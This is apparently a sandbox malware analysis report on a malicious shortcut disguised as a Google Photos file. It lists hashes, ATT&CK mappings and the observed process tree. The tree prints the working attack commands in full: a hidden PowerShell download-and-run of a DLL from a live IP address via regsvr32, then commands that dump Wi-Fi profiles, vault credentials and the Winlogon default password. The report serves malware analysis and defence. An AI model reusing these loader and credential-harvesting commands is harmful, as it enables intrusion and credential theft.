18c1a6e6e52231ba9c8a1621332f9d6208e509f0a7eff04f97447077e897cef6

General

Target
GooglePhotos_YNM65.lnk
Size 2KB
Sample261024-glr3ssf16x
SHA256 18c1a6e6e52231ba9c8a1621332f9d6208e509f0a7eff04f97447077e897cef6
MD5 9433d4c91d9f53525cb96b83522c4cd3
SHA1 d80920666d7445829f20b743596961c0b595a082
SHA512 f4ff676d731d204258c4eb6d689688359f44c05bcdf4587789caa09126dee873bf7b9fe7abfb222d73b64d0dd51db347056fabfa4a6a56b931c3cf829d90ff32
TLSH
T1E951E0151BED172CF3F38A3BA8B6A3560536F998EC35CB9D0185068D4876940AE72F1B
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://212.80.205.63:8782/Kx.ocx

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2120	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2120	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	2120	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2924	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4120	cmd.exe
3580	cmd.exe
5372	cmd.exe
2552	cmd.exe
300	cmd.exe
3184	cmd.exe
2944	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3580	cmd.exe
2896	netsh.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2164	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2924	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2120	powershell.exe
2120	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	2164	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2924	regsvr32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 4120	2944	cmd.exe	91
PID 4120 wrote to memory of 2120	4120	cmd.exe	92
PID 4120 wrote to memory of 2924	4120	cmd.exe	93
PID 4120 wrote to memory of 2164	4120	cmd.exe	94
PID 2924 wrote to memory of 3580	2924	regsvr32.exe	96
PID 3580 wrote to memory of 2896	3580	cmd.exe	98
PID 2924 wrote to memory of 5372	2924	regsvr32.exe	99
PID 5372 wrote to memory of 3224	5372	cmd.exe	101
PID 2924 wrote to memory of 2552	2924	regsvr32.exe	102
PID 2552 wrote to memory of 4856	2552	cmd.exe	104
PID 2924 wrote to memory of 300	2924	regsvr32.exe	105
PID 300 wrote to memory of 800	300	cmd.exe	107
PID 2924 wrote to memory of 3184	2924	regsvr32.exe	108
PID 3184 wrote to memory of 428	3184	cmd.exe	110
PID 3184 wrote to memory of 5864	3184	cmd.exe	111

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\GooglePhotos_YNM65.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c if not exist "C:\ProgramData\NvDvr" mkdir "C:\ProgramData\NvDvr" & powershell -NoProfile -WindowStyle Hidden -Command "[Net.WebClient]::new().DownloadFile('http://212.80.205.63:8782/Kx.ocx','C:\ProgramData\NvDvr\Kx.ocx')" && start "" C:\Windows\SysWOW64\regsvr32.exe /s /i "C:\ProgramData\NvDvr\Kx.ocx" & title _dpclose_& taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "[Net.WebClient]::new().DownloadFile('http://212.80.205.63:8782/Kx.ocx','C:\ProgramData\NvDvr\Kx.ocx')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2120
- - C:\Windows\SysWOW64\regsvr32.exe
    C:\Windows\SysWOW64\regsvr32.exe /s /i "C:\ProgramData\NvDvr\Kx.ocx"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c netsh wlan show profiles
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:3580
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c cmdkey /list
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5372
    - - C:\Windows\system32\cmdkey.exe
        
        cmdkey /list
        5⤵
        
        PID:3224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c vaultcmd /listcreds:"Windows Credentials" /all
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2552
    - - C:\Windows\system32\VaultCmd.exe
        
        vaultcmd /listcreds:"Windows Credentials" /all
        5⤵
        
        PID:4856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c vaultcmd /listcreds:"Web Credentials" /all
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:300
    - - C:\Windows\system32\VaultCmd.exe
        
        vaultcmd /listcreds:"Web Credentials" /all
        5⤵
        
        PID:800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName 2>nul & reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3184
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
        5⤵
        
        PID:428
    - - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
        5⤵
        
        PID:5864
- - C:\Windows\system32\taskkill.exe
    taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Kx.ocx

Path C:\ProgramData\NvDvr\Kx.ocx
Size 1.4MB
SHA256 c62c268f5b276af114f5fbc132c17e12f6012d1e507281dff743fc2e77a128bc
MD5 d6c1e16498fbd407be02453832a896d7
SHA1 7d1cbd9283963ef2cf351c714046992c36d65d32
SHA512 1cff2b5a62d2854171c8d37e5c5554b3fa49304eb3376633d57cdadb3e4ee9409d36856207471dfbac3b36c153f1592f3c15b9b2780f6c39dcec1b8967a0d1de
SSDEEP 24576:iyjpnYbJR4NyAHcVo1iwV9JMIVpTAdxYQselW79VD60IjatY:BjGbJCvDfMI7TKY7enh
TLSH
T1BB655B3AE60215B8D40756F0854FE7BB8F287A3B8021DE6FFE8DCE04F5735426899256
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2120-0-0x00007FF87B3BF000-0x00007FF87B3C0000-memory.dmp

Download

memory/2120-1-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2120-4-0x000002111B720000-0x000002111B742000-memory.dmp

Download

memory/2120-5-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2120-6-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2120-7-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2120-8-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2120-11-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

Download

memory/2924-14-0x0000000074560000-0x00000000746C4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads